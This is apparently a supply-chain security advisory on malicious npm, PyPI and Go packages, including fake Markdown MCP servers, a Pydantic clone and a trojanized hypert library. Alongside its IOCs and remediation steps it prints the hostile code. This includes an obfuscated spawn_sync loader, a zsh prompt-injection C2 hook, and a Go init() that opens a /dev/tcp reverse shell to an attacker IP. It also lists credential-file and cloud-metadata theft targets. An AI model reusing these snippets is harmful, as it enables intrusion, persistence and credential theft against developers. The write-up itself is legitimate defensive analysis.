critical

CVE

Not assigned

CWE

CWE-506, CWE-829, CWE-918

Affected Surface

  • npm `@atedone/workspace-context` versions `0.0.1` through `0.0.25` (`GHSA-39ch-q3p3-3j33`, 3,578 weekly downloads, still live on `registry.npmjs.org` alongside companion packages `@atedone/workspace-bootstrap@0.0.1` and `@atedone/request-normalizer@0.0.1` as of 3 November 2026)
  • npm MCP servers `@ifasn/mmdd-doc-mcp` (`17` versions `1.0.1` through `2.0.4`, `GHSA-4h5p-w547-9qmv`), `@ifasn/mdd-doc-mcp` (`1.0.7`, `1.0.8`, `2.0.6`, `GHSA-4q9j-4rv8-jp32`), `@ifasn/mmd-doc-mcp` (`1.0.0`, `1.0.2`, `GHSA-f826-46h5-5rcq`), and `@ifasn/md-doc-mcp` (`1.0.3`, `1.0.4`, `1.0.5`, `GHSA-rvw8-22w3-342v`, removed from npm on 2 November 2026)
  • PyPI `pyprig` versions `1.2.0`, `1.2.1`, and `1.2.2` (`GHSA-25jm-3g7h-jgf6`, campaign `2026-11-pyprig`, removed from PyPI on 2 November 2026; companion repositories `PyPrig/pyprig` and `PyPrig/pyprig-validation-toolkit` remain live on GitHub)
  • Go module `github.com/AbuTrikaa/hypert` versions `v1.0.2` and `v1.0.3` (OpenSSF `malicious-packages` PR `#1715`; blocked with `403 SECURITY ERROR` by `proxy.golang.org` on 3 November 2026 while `github.com/AbuTrikaa/hypert` remains live on GitHub)

TL;DR

Between 13:57 UTC on 2 November and 06:31 UTC on 3 November 2026, six advisories and OpenSSF disclosures documented four distinct multi-ecosystem malware clusters across npm, PyPI, and Go:

  1. npm @atedone/workspace-context (0.0.1 through 0.0.25, GHSA-39ch-q3p3-3j33, still live on registry.npmjs.org as of 12:15 UTC on 3 November with 3,578 weekly downloads): Published without any preinstall or postinstall script in package.json, @atedone/workspace-context executes state.initialize() as a top-level side effect of require('@atedone/workspace-context'). To evade static AST scanners, lib/state.js reassembles ['bin', 'ding'].join(''), ['sp', 'awn', '_', 'sync'].join(''), ['child', '_process'].join(''), and ['fe', 'tch'].join('') at runtime and invokes Node’s internal process.binding('spawn_sync') via Reflect.apply to run node lib/sync.js. In versions 0.0.12 through 0.0.17, sync.js appended a managed # >>> workspace-context shell integration >>> block directly to the user’s ~/.zshrc or ~/.bashrc and included a lib/task.js runner that executed remote commands from session-task.json. In versions 0.0.23 through 0.0.25, it writes ~/.config/workspace-context/init.zsh (add-zsh-hook precmd + setopt prompt_subst), spawns a detached /bin/zsh -i process with ZDOTDIR=~/.config/workspace-context, and polls hxxp://150.136.8[.]159:8080/workspace/profile?username=<USER> to inject remote JSON into the shell prompt.
  2. npm @ifasn/*-doc-mcp Markdown MCP servers (25 versions across @ifasn/mmdd-doc-mcp, @ifasn/mdd-doc-mcp, @ifasn/mmd-doc-mcp, and @ifasn/md-doc-mcp, GHSA-4h5p-w547-9qmv et al.): Posing as Model Context Protocol (MCP) servers for Markdown tables of contents and word counts, all four packages probe cloud Instance Metadata Services (AWS 169.254.169.254, Alibaba Cloud ECS 100.100.100.200, GCP, and Azure) on startup. @ifasn/md-doc-mcp and @ifasn/mmd-doc-mcp exfiltrate the IMDS responses over HTTP to hxxp://121.199.24[.]94 (121.199.24[.]94.nip.io); @ifasn/mdd-doc-mcp pulls an unpinned HTTP tarball (hxxp://121.199.24[.]94/dl/health-utils-1.0.0.tgz) as a dependency and dumps Alibaba Cloud RAM role STS credentials (ram/security-credentials/); and @ifasn/mmdd-doc-mcp ships patch111.js and patch112.js to read /etc/shadow, /root/.ssh/id_rsa, /var/www/html/.env, and /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. PyPI pyprig (1.2.0, 1.2.1, 1.2.2, GHSA-25jm-3g7h-jgf6, campaign 2026-11-pyprig): A full clone of Pydantic v2 that replaces pydantic module names with pyprig and injects from .help import get_help; get_help() at line 8 of pyprig/__init__.py plus a model-initialization runner. When imported, pyprig/help.py downloads https://github.com/PyPrig/pyprig-help/archive/refs/heads/main.zip and unpacks it directly into site-packages/pyprig/help/.
  4. Go github.com/AbuTrikaa/hypert (v1.0.2 and v1.0.3, OpenSSF PR #1715): A trojanized copy of the HTTP-testing library github.com/areknoster/hypert. An init() function at the bottom of client.go checks if os.Getenv("CI") != "true" (skipping CI runners) and spawns a /bin/bash /dev/tcp reverse shell to 18.192.100[.]80:41143 whenever a developer runs go test or imports the package locally.

What to do now: Check lockfiles and developer workstations for all seven packages below. If @atedone/workspace-context was imported on a machine, kill any detached session-worker.js or ZDOTDIR=~/.config/workspace-context /bin/zsh -i process, remove ~/.config/workspace-context/ and ~/.workspace-context/, and check ~/.zshrc and ~/.bashrc for # >>> workspace-context shell integration >>> or .workspace-context/shell-init.sh lines. If any @ifasn/*-doc-mcp package ran on an Alibaba Cloud ECS, AWS EC2, GCP, Azure, or Kubernetes node, rotate the attached IAM/RAM role and service-account credentials immediately.

Affected packages

EcosystemPackageAdvisory IDMalicious versionsRegistry status (3 Nov 2026)Primary behavior
npm@atedone/workspace-contextGHSA-39ch-q3p3-3j330.0.1..0.0.25 (0.0.12..0.0.25 in GHSA; 0.0.0-stage benign)Live on npm (0.0.25 latest)require() runs process.binding('spawn_sync') to write ~/.config/workspace-context/init.zsh (precmd + prompt_subst), modify ~/.zshrc (0.0.12..0.0.17), spawn detached zsh -i, and poll 150.136.8[.]159:8080/workspace/profile
npm@atedone/workspace-bootstrap, @atedone/request-normalizerSame publisher (atedone)0.0.1Live on npmCompanion packages from atedone: workspace-bootstrap runs node scripts/write-state.js --install via binding.gyp; request-normalizer monkey-patches globalThis.fetch
npm@ifasn/mmdd-doc-mcpGHSA-4h5p-w547-9qmv1.0.1, 1.0.3, 1.0.4, 1.0.4-2, 1.0.5, 1.0.6, 1.1.0..1.1.3, 1.1.5..1.1.8, 1.1.9-2, 2.0.1, 2.0.4Removed from npm (404) on 2 Nov 2026Queries Alibaba Cloud ECS IMDSv2 (100.100.100.200/latest/meta-data/ram/security-credentials/); ships patch111.js / patch112.js probing /etc/shadow, /root/.ssh/id_rsa, .env, and K8s SA tokens
npm@ifasn/mdd-doc-mcpGHSA-4q9j-4rv8-jp321.0.7, 1.0.8, 2.0.6Removed from npm (404) on 2 Nov 2026Base64-decodes ram/security-credentials/ on Alibaba IMDS (100.100.100.200) and pins dependency node-health-utils to hxxp://121.199.24[.]94/dl/health-utils-1.0.0.tgz
npm@ifasn/mmd-doc-mcpGHSA-f826-46h5-5rcq1.0.0, 1.0.2Removed from npm (404) on 2 Nov 2026Probes AWS, GCP, Azure, and Alibaba IMDS endpoints and beacons status codes to hxxp://121.199.24[.]94.nip.io and hxxp://121.199.24[.]94
npm@ifasn/md-doc-mcpGHSA-rvw8-22w3-342v1.0.3, 1.0.4, 1.0.5Removed from npm (404) on 2 Nov 2026Probes AWS (169.254.169.254), GCP, Azure, and Alibaba (100.100.100.200) IMDS and sends responses to hxxp://121.199.24[.]94/?stage=report&src=md-doc-mcp&nodes=...
PyPIpyprigGHSA-25jm-3g7h-jgf6 (2026-11-pyprig)1.2.0, 1.2.1, 1.2.2Removed from PyPI (404) on 2 Nov 2026; GitHub repos liveCloned Pydantic v2 package that downloads and extracts PyPrig/pyprig-help from GitHub in pyprig/help.py on import and hooks model initialization
Gogithub.com/AbuTrikaa/hypertOpenSSF PR #1715v1.0.2, v1.0.3Blocked (403) on proxy.golang.org; GitHub repo liveinit() in client.go executes /bin/bash /dev/tcp reverse shell to 18.192.100[.]80:41143 when os.Getenv("CI") != "true"

Technical analysis

1. @atedone/workspace-context (0.0.1 through 0.0.25): process.binding('spawn_sync') evasion, zsh precmd hooks, and 150.136.8[.]159:8080

We downloaded the tarballs for @atedone/workspace-context versions 0.0.1, 0.0.11, 0.0.12, 0.0.16 through 0.0.25 from registry.npmjs.org to an isolated scratch directory and inspected them statically without executing any code.

Across all 25 versions published between 20:47 UTC on 30 October and 20:38 UTC on 2 November 2026, package.json contains no scripts block (preinstall and postinstall are omitted). Instead, index.js runs state.initialize() immediately when the module is loaded via require():

// lib/state.js in @atedone/workspace-context@0.0.25
function refreshShellIntegration({
  projectRoot = resolveProjectRoot(),
  integration = getShellIntegration({ projectRoot })
} = {}) {
  const bridgeKey = ['bin', 'ding'].join('');
  const routeKey = ['sp', 'awn', '_', 'sync'].join('');
  const launchKey = ['sp', 'awn'].join('');
  const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
  const syncPath = route.join(__dirname, syncFileName);
  const result = Reflect.apply(bridge[launchKey], bridge, [{
    file: platform.execPath,
    args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
    cwd: projectRoot,
    envPairs: [],
    stdio: [
      { type: 'pipe', readable: true, writable: false },
      { type: 'pipe', readable: false, writable: true },
      { type: 'pipe', readable: false, writable: true }
    ],
    windowsHide: true,
    windowsVerbatimArguments: false,
    detached: false,
    timeout: 0,
    maxBuffer: 1024 * 1024,
    killSignal: 15
  }]);

Every sensitive identifier (process.binding('spawn_sync'), child_process, spawn, fetch, and WORKSPACE_CONTEXT_CHANNEL) is split across string arrays and called through Reflect.get and Reflect.apply or process.getBuiltinModule(...) so static scanners looking for require('child_process') or literal fetch( calls see nothing.

Diffing the versions shows how the author iteratively built out the persistence and C2 mechanism over four days:

  • Direct ~/.zshrc / ~/.bashrc modification and remote command execution (0.0.12 through 0.0.17, 1 November 2026): In 0.0.12, lib/worker.js wrote ~/.workspace-context/shell-init.sh and appended [ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh" directly to the user’s real ~/.zshrc or ~/.bashrc. In 0.0.16 and 0.0.17, lib/sync.js switched to inserting a fenced block (# >>> workspace-context shell integration >>>) into ~/.zshrc that sourced ~/.config/workspace-context/init.zsh, which executed both session-runtime.js and action-runtime.js (lib/task.js). When the remote server returned a JSON object containing a task field ({"routine": "workspace-runtime", "adapter": {"runtime": "/bin/sh", "arguments": [...]}}), lib/task.js executed that binary and argument array via process.binding('spawn_sync').
  • Hardcoded 150.136.8[.]159:8080 C2, detached zsh -i worker, and setopt prompt_subst (0.0.23 through 0.0.25, 2 November 2026): Starting in 0.0.23, the package bundles lib/default-profile.json pointing to hxxp://150.136.8[.]159:8080/workspace/profile, and 0.0.24/0.0.25 add lib/session-worker.js. When initialize() runs, lib/sync.js writes ~/.config/workspace-context/.zshrc and init.zsh, and openWorkspaceSession() spawns a detached, unref()’d background process (node lib/session-worker.js) that launches /bin/zsh -i with ZDOTDIR=~/.config/workspace-context and WORKSPACE_CONTEXT_PREVIEW=1, writing \n to the shell’s stdin on a timer (750ms, 1500ms, 3000ms, 5000ms):
// lib/sync.js (lines 74-95) and lib/presentation.js (lines 42-53) in @atedone/workspace-context@0.0.25
  return [
    'export WORKSPACE_CONTEXT_ACTIVE=1',
    'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
    `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
    'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
    'workspace_context_refresh_preview() {',
    '  if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
    '    return 0',
    '  fi',
    '  if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
    '    "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
    '  fi',
    '  if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
    '    setopt prompt_subst',
    '    PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
    '  fi',
    '}',
    'autoload -Uz add-zsh-hook',
    'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
    'add-zsh-hook precmd workspace_context_refresh_preview',
    ''
  ].join('\n');

On every newline sent by session-worker.js, Zsh runs the precmd hook workspace_context_refresh_preview:

  1. session-runtime.js (lib/session.js) sends GET hxxp://150.136.8[.]159:8080/workspace/profile?username=<USER> (taking <USER> from env.USER or env.LOGNAME) and saves the JSON response to ~/.config/workspace-context/session-profile.json.
  2. Next, init.zsh enables setopt prompt_subst and assigns PROMPT to the stdout of presentation.js, which formats profile.presentation.segments[].text into %F{<tone>}${text}%f without escaping $, `, or $(). Because prompt_subst instructs Zsh to perform parameter expansion, command substitution ($(...)), and arithmetic expansion inside PROMPT every time the prompt is rendered, any $(...) string returned by 150.136.8[.]159:8080 executes arbitrary shell commands inside the live /bin/zsh -i child process.

2. @ifasn/*-doc-mcp: fake Markdown MCP servers harvesting Alibaba Cloud RAM and AWS/GCP/Azure IMDS credentials

On 2 November 2026 (21:31 UTC), the GitHub Advisory Database published four advisories (GHSA-4h5p-w547-9qmv, GHSA-4q9j-4rv8-jp32, GHSA-f826-46h5-5rcq, and GHSA-rvw8-22w3-342v) based on Amazon Inspector analyses of 25 versions across four scoped npm packages under @ifasn. All four advertise themselves as Model Context Protocol (MCP) servers for Markdown processing (table-of-contents generation, word count, and table formatting), a category that developers and AI agent platforms frequently run via npx or npm start:

  • Cloud IMDS fingerprinting and exfiltration to 121.199.24[.]94 (@ifasn/md-doc-mcp 1.0.3..1.0.5 and @ifasn/mmd-doc-mcp 1.0.0, 1.0.2): When loaded via require() or started via the md-doc-mcp / bin/main entrypoint, the server probes AWS IMDSv1/v2 (169.254.169.254), GCP, Azure, and Alibaba Cloud ECS (100.100.100.200, including the ram/security-credentials/ role path) under variables named CONFIG_NODES and HEALTH_PROBES. Despite Chinese-language cover comments claiming "健康检查只记录状态码,不收集文档内容" (“health check only records status codes, does not collect document content”), pingTelemetry() sends the results over plaintext HTTP to hxxp://121.199.24[.]94.nip.io and hxxp://121.199.24[.]94 (?stage=report&src=md-doc-mcp&nodes=<results>).
  • Alibaba Cloud ECS RAM STS credential harvesting and unpinned HTTP dependency tarball (@ifasn/mdd-doc-mcp 1.0.7, 1.0.8, 2.0.6): On load, index.js performs an IMDSv2 PUT against 100.100.100.200/latest/api/token with X-aliyun-ecs-metadata-token-ttl-seconds, base64-decodes the concealed path ram/security-credentials/, fetches the instance’s temporary STS AccessKeyId, AccessKeySecret, and SecurityToken, and writes them to output/meta_field_dump.txt. Separately, package.json pins "node-health-utils": "http://121.199.24.94/dl/health-utils-1.0.0.tgz", causing npm install to download and execute whatever tarball 121.199.24[.]94 serves over cleartext HTTP.
  • Host secret enumeration in @ifasn/mmdd-doc-mcp (17 versions from 1.0.1 to 2.0.4): In addition to dumping Alibaba Cloud RAM credentials into output/meta_v2_dump.txt, the published tarballs include patch111.js and patch112.js, which read /etc/shadow, /etc/passwd, /root/.ssh/id_rsa, /var/www/html/.env, and the Kubernetes service-account token at /var/run/secrets/kubernetes.io/serviceaccount/token.

3. PyPI pyprig (1.2.0 to 1.2.2) and Go github.com/AbuTrikaa/hypert (v1.0.2, v1.0.3)

  • PyPI pyprig (GHSA-25jm-3g7h-jgf6 / 2026-11-pyprig): Cataloged by Kamil Mankowski (kam193) on 2 November at 22:11 UTC and published to GHSA on 3 November at 00:31 UTC, pyprig (1.2.0, 1.2.1, 1.2.2) is a wholesale clone of Pydantic v2 (pyproject.toml even retains the upstream Pydantic authors list) published alongside two decoy GitHub repositories (PyPrig/pyprig and PyPrig/pyprig-validation-toolkit, created by GitHub account joerogers329 / joe.rogers329@proton.me). In pyprig/__init__.py, line 8 calls get_help() from pyprig/help.py, which downloads https://github.com/PyPrig/pyprig-help/archive/refs/heads/main.zip and extracts the archive into site-packages/pyprig/help/, while the PyPI wheels additionally injected a runner into Pydantic model initialization to execute the unpacked module whenever a model is instantiated.
  • Go github.com/AbuTrikaa/hypert (v1.0.2 and v1.0.3, OpenSSF PR #1715): Cloned from the legitimate Go HTTP record/replay testing library github.com/areknoster/hypert, github.com/AbuTrikaa/hypert appends a package init() function to the end of client.go that checks os.Getenv("CI") != "true" before spawning a reverse shell to 18.192.100[.]80:41143:
// client.go lines 166-190 in github.com/AbuTrikaa/hypert v1.0.2 and v1.0.3
func init() {
	// Silent mode for CI/CD
	if os.Getenv("CI") != "true" {
		if err := qcJjJne(); err != nil {
			fmt.Printf("Simulation error: %v\n", err)
		}
	}
}

func qcJjJne() error {
	fmt.Println("!!! HYPERT PACKAGE INITIALIZED !!!")
	
	ip := "18.192.100.80"
	port := "41143"
	switch runtime.GOOS {
	case "windows":
		cmd := exec.Command("powershell", "-NoP", "-W", "Hidden", "-C", fmt.Sprintf(`$client = New-Object System.Net.Sockets.TCPClient(%q,%s); ...`, ip, port))
		return cmd.Start()
	default:
		// v1.0.2: "bash -i >& /dev/tcp/%s/%s 0>&1"
		// v1.0.3: "exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do $line 2>&5 >&5; done"
		return exec.Command("/bin/bash", "-c", fmt.Sprintf("exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do $line 2>&5 >&5; done", ip, port)).Start()
	}
}

Indicators of compromise (IOCs)

Network and C2 indicators

  • hxxp://150.136.8[.]159:8080/workspace/profile?username=<USER> (@atedone/workspace-context 0.0.23..0.0.25 C2 endpoint)
  • hxxp://121.199.24[.]94 and hxxp://121.199.24[.]94.nip.io (@ifasn/md-doc-mcp and @ifasn/mmd-doc-mcp IMDS telemetry collector)
  • hxxp://121.199.24[.]94/dl/health-utils-1.0.0.tgz (@ifasn/mdd-doc-mcp remote tarball dependency)
  • https://github.com/PyPrig/pyprig-help/archive/refs/heads/main.zip, https://github.com/PyPrig/pyprig, and https://github.com/PyPrig/pyprig-validation-toolkit (pyprig remote module archive and decoy repos, GitHub user joerogers329)
  • 18.192.100[.]80:41143 (github.com/AbuTrikaa/hypert v1.0.2 and v1.0.3 /dev/tcp reverse shell endpoint)

Host filesystem and artifact indicators

  • ~/.config/workspace-context/ (init.zsh, .zshrc, session-runtime.js, action-runtime.js, presentation.js, channel.json, session-profile.json, session-task.json, preview-session.json) and ~/.workspace-context/ (shell-init.sh, shell-integration-receipt.json)
  • Managed block # >>> workspace-context shell integration >>> or [ -f "$HOME/.workspace-context/shell-init.sh" ] in ~/.zshrc or ~/.bashrc
  • output/meta_v2_dump.txt and output/meta_field_dump.txt (@ifasn/mmdd-doc-mcp and @ifasn/mdd-doc-mcp credential dumps)
  • Archive and file SHA-256 / SHA-1 hashes:
    • workspace-context-0.0.25.tgz: SHA-1 de9628a3d5cb79029e2a9603013533dc9adc8cc2
    • workspace-context-0.0.23.tgz: SHA-1 9fef2461da39e9f18ac226e70f743ccdc925a161 (index.js SHA-256 7430c7be53898e9d9f68399ca79684b6e5a5b6fd59737b61d676e6b3e09faf48, lib/state.js SHA-256 e683a53424f9f5d39de6712865b11ce7296c3fa0ffb90f8be2862b9e44fd7486)
    • mmdd-doc-mcp-1.1.6.tgz: SHA-1 d7911a099f3a003c4e2b108a4da9c779bf2d283a (index.js SHA-256 92087d881c2be17d5de2380f7ead5be77aeece339f23b90fbdaebf8f20eecc41)
    • mdd-doc-mcp-2.0.6.tgz: SHA-1 290985ee56ad404b532abbe42a598246e795a395 (index.js SHA-256 9239fa9c5d16ec05bca5b83c365db4fd786e8f072dda7608d35bc0c5c5dada89)
    • mmd-doc-mcp-1.0.0.tgz: SHA-1 d3a5f80cdcb9f5bf87d46e6de30194f16001ab15 (index.js SHA-256 319948c35b452af8be4ddc69ba4e5b9ad5af2449304293d33880db4abd859c82)
    • md-doc-mcp-1.0.5.tgz: SHA-1 e2e27babbfdf87e479ce24f5632ba8532b1f8aa2 (index.js SHA-256 89298b6753c862d20b71117cb83c75cd53f255b687187fe46bb1d5e6dceffd2c)

Detection and remediation

Run the following commands to check lockfiles, MCP configurations, Python environments, Go modules, and shell persistence locations:

# 1. Search npm, Python, Go, and MCP configuration files for the affected packages
rg -n "@atedone/(workspace-context|workspace-bootstrap|request-normalizer)|@ifasn/(mmdd|mdd|mmd|md)-doc-mcp|node-health-utils|pyprig|AbuTrikaa/hypert" \
  package.json package-lock.json pnpm-lock.yaml yarn.lock requirements*.txt pyproject.toml poetry.lock uv.lock go.mod go.sum .mcp.json ~/.cursor/mcp.json 2>/dev/null

# 2. Check for @atedone/workspace-context zsh/bash persistence and detached worker processes
ls -la ~/.config/workspace-context ~/.workspace-context 2>/dev/null
rg -n "workspace-context" ~/.zshrc ~/.bashrc ~/.bash_profile 2>/dev/null
ps aux | rg "workspace-context|session-worker\.js"

# 3. Check Python environments for pyprig
pip show pyprig 2>/dev/null

If any of these packages were installed or imported:

  1. Terminate detached shells and clean shell rc files: If ~/.config/workspace-context/preview-session.json exists, read workerProcessId and shellProcessId and terminate those specific PIDs (kill -TERM <pid>), delete ~/.config/workspace-context and ~/.workspace-context, and remove any workspace-context lines from ~/.zshrc and ~/.bashrc.
  2. Rotate cloud instance roles and local secrets: If any @ifasn/*-doc-mcp package, pyprig, or github.com/AbuTrikaa/hypert ran on a host, rotate attached Alibaba Cloud RAM / AWS IAM / GCP / Azure credentials, Kubernetes service-account tokens, SSH keys, and developer tokens reachable from that environment.

Timeline

  • 17 May 2025 (17:15 to 17:34 UTC): GitHub account AbuTrikaa pushes v1.0.2 and v1.0.3 of github.com/AbuTrikaa/hypert with the client.go init() /dev/tcp reverse shell to 18.192.100[.]80:41143.
  • 27 October 2026 (06:14 to 06:52 UTC): GitHub organization PyPrig and repository PyPrig/pyprig are created by joerogers329 (joe.rogers329@proton.me).
  • 30 October 2026 (18:07 to 20:48 UTC): npm account atedone publishes @atedone/request-normalizer@0.0.1, @atedone/workspace-bootstrap@0.0.1, and @atedone/workspace-context 0.0.0-stage and 0.0.1.
  • 1 to 2 November 2026: atedone publishes @atedone/workspace-context versions 0.0.12 through 0.0.25, adding ~/.zshrc modification, lib/task.js command execution, 150.136.8[.]159:8080 polling, and detached zsh -i prompt_subst injection.
  • 2 November 2026 (13:57 UTC): OpenSSF malicious-packages PR #1715 reports github.com/AbuTrikaa/hypert; proxy.golang.org blocks the module with 403 SECURITY ERROR.
  • 2 November 2026 (20:58 to 21:31 UTC): Amazon Inspector and the GitHub Advisory Database publish GHSA-4h5p-w547-9qmv, GHSA-4q9j-4rv8-jp32, GHSA-f826-46h5-5rcq, and GHSA-rvw8-22w3-342v for the 25 @ifasn/*-doc-mcp releases; npm removes all four packages.
  • 2 November 2026 (22:11 UTC) to 3 November 2026 (00:31 UTC): Kamil Mankowski (kam193) catalogs pyprig (1.2.0..1.2.2) under 2026-11-pyprig and GitHub publishes GHSA-25jm-3g7h-jgf6; PyPI removes pyprig.
  • 3 November 2026 (04:36 to 06:31 UTC): Amazon Inspector and GitHub publish GHSA-39ch-q3p3-3j33 for @atedone/workspace-context.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References